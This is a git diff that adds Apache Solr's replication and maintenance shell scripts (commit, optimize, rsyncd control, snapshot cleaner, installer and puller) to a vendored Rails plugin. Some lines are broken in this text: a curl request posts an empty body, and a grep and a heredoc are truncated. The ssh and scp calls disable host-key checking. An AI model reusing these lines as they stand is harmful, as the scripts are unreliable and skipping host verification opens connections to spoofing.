${webapp_name} ]] + then + webapp_name=solr + fi + curl_url=http://${solr_hostname}:${solr_port}/${webapp_name}/update +fi + +fixUser "$@" + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +rs=`curl ${curl_url} -s -H 'Content-type:text/xml; charset=utf-8' -d ""` +if [[ $? != 0 ]] +then + logMessage failed to connect to Solr server at ${curl_url} + logMessage commit failed + logExit failed 1 +fi + +# check status of commit request +echo $rs | grep ' /dev/null 2>&1 +if [[ $? != 0 ]] +then + logMessage commit request to Solr at ${curl_url} failed: + logMessage $rs + logExit failed 2 +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/optimize b/vendor/plugins/acts_as_solr/solr/solr/bin/optimize new file mode 100644 index 00000000..446996e5 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/optimize @@ -0,0 +1,129 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to force a optimized commit of all changes since last commit +# for a Solr server + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} +curl_url="" + +unset solr_hostname solr_port webapp_name user verbose debug solr_url +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-h hostname] [-p port] [-u username] [-U url] [-v] [-V] + -h specify Solr hostname (defaults to localhost) + -p specify Solr port number + -w specify name of Solr webapp (defaults to solr) + -u specify user to sudo to before running script + -U specify full update url (overrides -h,-p,-w parameters) + -v increase verbosity + -V output debugging info +" + +# parse args +originalargs="$@" +while getopts h:p:w:u:U:vV OPTION +do + case $OPTION in + h) + solr_hostname="$OPTARG" + ;; + p) + solr_port="$OPTARG" + ;; + w) + webapp_name="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + U) + solr_url="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -n ${solr_url} ]] +then + curl_url=${solr_url} +else + if [[ -z ${solr_port} ]] + then + echo "Solr port number missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi + + # use default hostname if not specified + if [[ -z ${solr_hostname} ]] + then + solr_hostname=localhost + fi + + # use default webapp name if not specified + if [[ -z ${webapp_name} ]] + then + webapp_name=solr + fi + curl_url=http://${solr_hostname}:${solr_port}/${webapp_name}/update +fi + +fixUser "$@" + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +rs=`curl ${curl_url} -s -H 'Content-type:text/xml; charset=utf-8' -d ""` +if [[ $? != 0 ]] +then + logMessage failed to connect to Solr server at ${curl_url} + logMessage optimize failed + logExit failed 1 +fi + +# check status of optimize request +rc=`echo $rs|cut -f2 -d'"'` +if [[ $? != 0 ]] +then + logMessage optimize request to Solr at ${curl_url} failed: + logMessage $rs + logExit failed 2 +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/readercycle b/vendor/plugins/acts_as_solr/solr/solr/bin/readercycle new file mode 100644 index 00000000..6a99d630 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/readercycle @@ -0,0 +1,129 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to force all old readers closed and a new reader to be opened +# for a Solr server + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} +curl_url="" + +unset solr_hostname solr_port webapp_name user verbose debug solr_url +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-p hostname] [-p port] [-w webapp_name] [-u username] [-U url] [-v] [-V] + -h specify Solr hostname (defaults to localhost) + -p specify Solr port number + -w specify name of Solr webapp (defaults to solr) + -u specify user to sudo to before running script + -U specify full update url (overrides -h,-p,-w parameters) + -v increase verbosity + -V output debugging info +" + +# parse args +originalargs="$@" +while getopts h:p:w:u:U:vV OPTION +do + case $OPTION in + h) + solr_hostname="$OPTARG" + ;; + p) + solr_port="$OPTARG" + ;; + w) + webapp_name="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + U) + solr_url="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -n ${solr_url} ]] +then + curl_url=${solr_url} +else + if [[ -z ${solr_port} ]] + then + echo "Solr port number missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi + + # use default hostname if not specified + if [[ -z ${solr_hostname} ]] + then + solr_hostname=localhost + fi + + # use default webapp name if not specified + if [[ -z ${webapp_name} ]] + then + webapp_name=solr + fi + curl_url=http://${solr_hostname}:${solr_port}/${webapp_name}/update +fi + +fixUser "$@" + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +rs=`curl ${curl_url} -s -H 'Content-type:text/xml; charset=utf-8' -d ""` +if [[ $? != 0 ]] +then + logMessage failed to connect to Solr server at ${curl_url} + logMessage reader cycle failed + logExit failed 1 +fi + +# check status of commit request +echo $rs | grep ' /dev/null 2>&1 +if [[ $? != 0 ]] +then + logMessage reader cycle request to Solr at ${curl_url} failed: + logMessage $rs + logExit failed 2 +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-disable b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-disable new file mode 100644 index 00000000..4affdac8 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-disable @@ -0,0 +1,77 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to disable rsyncd + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/rsyncd.log + +# define usage string +USAGE="\ +usage: $prog [-u username] [-v] + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts u:vV OPTION +do + case $OPTION in + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +start=`date +"%s"` + +logMessage disabled by $oldwhoami +logMessage command: $0 $@ +name=${solr_root}/logs/rsyncd-enabled + +if [[ -f ${name} ]] +then + rm -f ${name} +else + logMessage rsyncd not currently enabled + logExit exited 1 +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-enable b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-enable new file mode 100644 index 00000000..da2a97a5 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-enable @@ -0,0 +1,76 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to enable rsyncd + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +log=${solr_root}/logs/rsyncd.log + +# define usage string +USAGE="\ +usage: $prog [-u username] [-v] + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts u:vV OPTION +do + case $OPTION in + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +start=`date +"%s"` + +logMessage enabled by $oldwhoami +logMessage command: $0 $@ +name=${solr_root}/logs/rsyncd-enabled + +if [[ -f ${name} ]] +then + logMessage rsyncd already currently enabled + logExit exited 1 +else + touch ${name} +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-start b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-start new file mode 100644 index 00000000..6bfc130c --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-start @@ -0,0 +1,145 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to start rsyncd on master Solr server + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset data_dir solr_port rsyncd_port user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/rsyncd.log + +# define usage string +USAGE="\ +usage: $prog [-d dir] [-p portnum] [-u username] [-v] + -d specify directory holding index data + -p specify rsyncd port number + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts d:p:u:vV OPTION +do + case $OPTION in + d) + data_dir="$OPTARG" + ;; + p) + rsyncd_port="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +# try to determine rsyncd port number from $confFile if not specified on +# command line, default to solr_port+10000 +if [[ -z ${rsyncd_port} ]] +then + if [[ "${solr_port}" ]] + then + rsyncd_port=`expr 10000 + ${solr_port}` + else + echo "rsyncd port number missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi +fi + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +if [[ ! -f ${solr_root}/logs/rsyncd-enabled ]] +then + logMessage rsyncd disabled + exit 1 +fi + +if \ + rsync rsync://localhost:${rsyncd_port} >/dev/null 2>&1 +then + logMessage "rsyncd already running at port ${rsyncd_port}" + exit 1 +fi + +# create conf/rsyncd.conf on the fly, creating solrlogs directory if needed +if [[ ! -d ${solr_root}/conf ]] +then + mkdir ${solr_root}/conf +fi +cat < ${solr_root}/conf/rsyncd.conf +#### rsyncd.conf file #### + +uid = $(whoami) +gid = $(whoami) +use chroot = no +list = no +pid file = ${solr_root}/logs/rsyncd.pid +log file = ${solr_root}/logs/rsyncd.log +[solr] + path = ${data_dir} + comment = Solr +EOF + +rsync --daemon --port=${rsyncd_port} --config=${solr_root}/conf/rsyncd.conf + +# first make sure rsyncd is accepting connections +i=1 +while \ + ! rsync rsync://localhost:${rsyncd_port} >/dev/null 2>&1 +do + if (( i++ > 15 )) + then + logMessage "rsyncd not accepting connections, exiting" >&2 + exit 2 + fi + sleep 1 +done + +logMessage rsyncd started with data_dir=${data_dir} and accepting requests diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-stop b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-stop new file mode 100644 index 00000000..d19b054c --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/rsyncd-stop @@ -0,0 +1,105 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to stop rsyncd on master Solr server + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/rsyncd.log + +# define usage string +USAGE="\ +usage: $prog [-u username] [-v] + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts u:vV OPTION +do + case $OPTION in + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +logMessage stopped by $oldwhoami +logMessage command: $0 $@ + +# look for pid file +if [[ ! -f ${solr_root}/logs/rsyncd.pid ]] +then + logMessage "missing rsyncd pid file ${solr_root}/logs/rsyncd.pid" + exit 2 +fi + +# get PID from file +pid=$(<${solr_root}/logs/rsyncd.pid) +if [[ -z $pid ]] +then + logMessage "unable to get rsyncd's PID" + exit 2 +fi + +kill $pid + +# wait until rsyncd dies or we time out +dead=0 +timer=0 +timeout=300 +while (( ! dead && timer < timeout )) +do + if ps -eo pid | grep -qw $pid + then + kill $pid + (( timer++ )) + sleep 1 + else + dead=1 + fi +done +if ps -eo pid | grep -qw $pid +then + logMessage rsyncd failed to stop after $timeout seconds + exit 3 +fi + +# remove rsyncd.conf +/bin/rm -f ${solr_root}/conf/rsyncd.conf diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/scripts-util b/vendor/plugins/acts_as_solr/solr/solr/bin/scripts-util new file mode 100644 index 00000000..953bcc81 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/scripts-util @@ -0,0 +1,83 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# util functions used by scripts + +export PATH=/sbin:/usr/sbin:/bin:/usr/bin:$PATH + +# set up variables +prog=${0##*/} + +# source the config file if present +confFile=${solr_root}/conf/scripts.conf +if [[ -f $confFile ]] +then + . $confFile +fi + +function fixUser +{ +# set user to $(whoami) if not specified + if [[ -z ${user} ]] + then + user=$(whoami) + fi + +# sudo + if [[ $(whoami) != ${user} ]] + then + sudo -u ${user} $0 "$@" + exit $? + fi + + oldwhoami=$(who -m | cut -d' ' -f1 | sed -e's/^.*!//') + + if [[ "${oldwhoami}" == "" ]] + then + oldwhoami=`ps h -Hfp $(pgrep -g0 ${0##*/}) | tail -1|cut -f1 -d" "` + fi +} + +function timeStamp +{ + date +'%Y/%m/%d %H:%M:%S' +} + +function logMessage +{ + echo $(timeStamp) $@>>$log + if [[ -n ${verbose} ]] + then + echo $@ + fi +} + +function logExit +{ + end=`date +"%s"` + diff=`expr $end - $start` + echo "$(timeStamp) $1 (elapsed time: $diff sec)">>$log + exit $2 +} + +# create logs directory if not there +if [[ ! -d ${solr_root}/logs ]] +then + mkdir ${solr_root}/logs +fi + +umask 002 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/snapcleaner b/vendor/plugins/acts_as_solr/solr/solr/bin/snapcleaner new file mode 100644 index 00000000..5301de3a --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/snapcleaner @@ -0,0 +1,148 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to clean up snapshots of a Solr Lucene collection. + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset days num data_dir user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog -D | -N [-d dir] [-u username] [-v] + -D cleanup snapshots more than days old + -N keep the most recent number of snapshots and + cleanup up the remaining ones that are not being pulled + -d specify directory holding index data + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts D:N:d:u:vV OPTION +do + case $OPTION in + D) + days="$OPTARG" + ;; + N) + num="$OPTARG" + ;; + d) + data_dir="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -z ${days} && -z ${num} ]] +then + echo "$USAGE" + exit 1 +fi + +fixUser "$@" + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +function remove +{ + syncing=`ps -fwwwu ${user}|grep -w rsync|grep -v grep|grep -w $1` + if [[ -n $syncing ]] + then + logMessage $1 not removed - rsync in progress + else + logMessage removing snapshot $1 + /bin/rm -rf $1 + fi +} + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +# trap control-c +trap 'echo "caught INT/TERM, exiting now but partial cleanup may have already occured";logExit aborted 13' INT TERM + +if [[ -n ${days} ]] +then + #is maxdepth supported? + find ${data_dir} -maxdepth 0 -name foobar >/dev/null 2>&1 + if [ $? = 0 ]; then + maxdepth="-maxdepth 1" + else + unset maxdepth + fi + + logMessage cleaning up snapshots more than ${days} days old + for i in `find ${data_dir} ${maxdepth} -name 'snapshot.*' -mtime +${days} -print` + do + remove $i + done +elif [[ -n ${num} ]] +then + logMessage cleaning up all snapshots except for the most recent ${num} ones + unset snapshots count + snapshots=`ls -cd ${data_dir}/snapshot.* 2>/dev/null` + if [[ $? == 0 ]] + then + count=`echo $snapshots|wc -w` + startpos=`expr $num + 1` + if [[ $count -gt $num ]] + then + for i in `echo $snapshots|cut -f${startpos}- -d" "` + do + remove $i + done + fi + fi +fi + +logExit ended 0 + + diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/snapinstaller b/vendor/plugins/acts_as_solr/solr/solr/bin/snapinstaller new file mode 100644 index 00000000..f716e1a0 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/snapinstaller @@ -0,0 +1,168 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to install a snapshot into place as the Lucene collection +# for a Solr server + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset master_host master_status_dir data_dir user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-M master] [-S sdir] [-d dir] [-u username] [-v] + -M master specify hostname of master server from where to pull index + snapshot + -S specify directory holding snapshot status on master server + -d specify directory holding index data on local machine + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts M:S:d:u:vV OPTION +do + case $OPTION in + M) + master_host="$OPTARG" + ;; + S) + master_status_dir="$OPTARG" + ;; + d) + data_dir="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -z ${master_host} ]] +then + echo "name of master server missing in $confFile or command line." + echo "$USAGE" + exit 1 +fi + +if [[ -z ${master_status_dir} ]] +then + echo "directory holding snapshot status on master server missing in $confFile or command line." + echo "$USAGE" + exit 1 +fi + +fixUser "$@" + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +# assume relative path to start at ${solr_root} +if [[ "`echo ${master_status_dir}|cut -c1`" != "/" ]] +then + master_status_dir=${solr_root}/${master_status_dir} +fi + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +# get directory name of latest snapshot +name=`ls ${data_dir}|grep 'snapshot\.'|grep -v wip|sort -r|head -1` + +# clean up after INT/TERM +trap 'echo "caught INT/TERM, exiting now but partial installation may have already occured";/bin/rm -rf ${data_dir"/index.tmp$$;logExit aborted 13' INT TERM + +# is there a snapshot +if [[ "${name}" == "" ]] +then + logMessage no shapshot available + logExit ended 0 +fi + +name=${data_dir}/${name} + +# has snapshot already been installed +if [[ ${name} == `cat ${solr_root}/logs/snapshot.current 2>/dev/null` ]] +then + logMessage latest snapshot ${name} already installed + logExit ended 0 +fi + +# make sure master has directory for hold slaves stats/state +if + ! ssh -o StrictHostKeyChecking=no ${master_host} mkdir -p ${master_status_dir} +then + logMessage failed to ssh to master ${master_host}, snapshot status not updated on master +fi + +# install using hard links into temporary directory +# remove original index and then atomically copy new one into place +logMessage installing snapshot ${name} +cp -lr ${name}/ ${data_dir}/index.tmp$$ +/bin/rm -rf ${data_dir}/index +mv -f ${data_dir}/index.tmp$$ ${data_dir}/index + +# update distribution stats +echo ${name} > ${solr_root}/logs/snapshot.current + +# push stats/state to master +if + ! scp -q -o StrictHostKeyChecking=no ${solr_root}/logs/snapshot.current ${master_host}:${master_status_dir}/snapshot.current.`uname -n` +then + logMessage failed to ssh to master ${master_host}, snapshot status not updated on master +fi + +# notify Solr to open a new Searcher +logMessage notifing Solr to open a new Searcher +${solr_root}/bin/commit +if [[ $? != 0 ]] +then + logMessage failed to connect to Solr server + logMessage snapshot installed but Solr server has not open a new Searcher + logExit failed 1 +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller b/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller new file mode 100644 index 00000000..7bab54dc --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller @@ -0,0 +1,248 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to copy snapshots of a Solr Lucene collection from the master + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset master_host rsyncd_port master_data_dir master_status_dir snap_name +unset sizeonly stats data_dir user verbose debug compress startStatus +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-M master] [-P portnum] [-D mdir] [-S sdir] [-n snapshot] [-d dir] [-u username] [-svz] + -M master specify hostname of master server from where to pull index + snapshot + -P port specify rsyncd port number of master server from where to + pull index snapshot + -D specify directory holding index data on master server + -S specify directory holding snapshot status on master server + -n snapshot pull a specific snapshot by name + -d specify directory holding index data on local machine + -u specify user to sudo to before running script + -s use the --size-only option with rsync + -v increase verbosity (-vv show file transfer stats also) + -V output debugging info + -z enable compression of data +" + +# parse args +while getopts M:P:D:S:n:d:u:svVz OPTION +do + case $OPTION in + M) + master_host="$OPTARG" + ;; + P) + rsyncd_port="$OPTARG" + ;; + D) + master_data_dir="$OPTARG" + ;; + S) + master_status_dir="$OPTARG" + ;; + n) + snap_name="$OPTARG" + ;; + d) + data_dir="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + s) + sizeonly="--size-only" + ;; + v) + [[ -n $verbose ]] && stats="--stats" || verbose=v + ;; + V) + debug="V" + ;; + z) + compress="z" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -z ${master_host} ]] +then + echo "name of master server missing in $confFile or command line." + echo "$USAGE" + exit 1 +fi + +# try to determine rsyncd port number from $confFile if not specified on +# command line, default to solr_port+10000 +if [[ -z ${rsyncd_port} ]] +then + if [[ "${solr_port}" ]] + then + rsyncd_port=`expr 10000 + ${solr_port}` + else + echo "rsyncd port number of master server missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi +fi + +if [[ -z ${master_data_dir} ]] +then + echo "directory holding index data on master server missing in $confFile or command line." + echo "$USAGE" + exit 1 +fi + +if [[ -z ${master_status_dir} ]] +then + echo "directory holding snapshot status on master server missing in $confFile or command line." + echo "$USAGE" + exit 1 +fi + +fixUser "$@" + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +# assume relative path to start at ${solr_root} +if [[ "`echo ${master_data_dir}|cut -c1`" != "/" ]] +then + master_data_dir=${solr_root}/${master_data_dir} +fi +if [[ "`echo ${master_status_dir}|cut -c1`" != "/" ]] +then + master_status_dir=${solr_root}/${master_status_dir} +fi + +# push stats/state to master if necessary +function pushStatus +{ + scp -q -o StrictHostKeyChecking=no ${solr_root}/logs/snappuller.status ${master_host}:${master_status_dir}/snapshot.status.`uname -n` +} + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +if [[ ! -f ${solr_root}/logs/snappuller-enabled ]] +then + logMessage snappuller disabled + exit 1 +fi + +# make sure we can ssh to master +if + ! ssh -o StrictHostKeyChecking=no ${master_host} id 1>/dev/null 2>&1 +then + logMessage failed to ssh to master ${master_host} + exit 1 +fi + +# get directory name of latest snapshot if not specified on command line +if [[ -z ${snap_name} ]] +then + snap_name=`ssh -o StrictHostKeyChecking=no ${master_host} "ls ${master_data_dir}|grep 'snapshot\.'|grep -v wip|sort -r|head -1"` +fi +if [[ "${snap_name}" == "" ]] +then + logMessage no snapshot available on ${master_host} in ${master_data_dir} + logExit ended 0 +else + name=`basename ${snap_name}` +fi + +# clean up after INT/TERM +trap 'echo cleaning up, please wait ...;/bin/rm -rf ${data_dir}/${name} ${data_dir}/${name}-wip;echo ${startStatus} aborted:$(timeStamp)>${solr_root}/logs/snappuller.status;pushStatus;logExit aborted 13' INT TERM + +if [[ -d ${data_dir}/${name} || -d ${data_dir}/${name}-wip ]] +then + logMessage no new snapshot available on ${master_host} in ${master_data_dir} 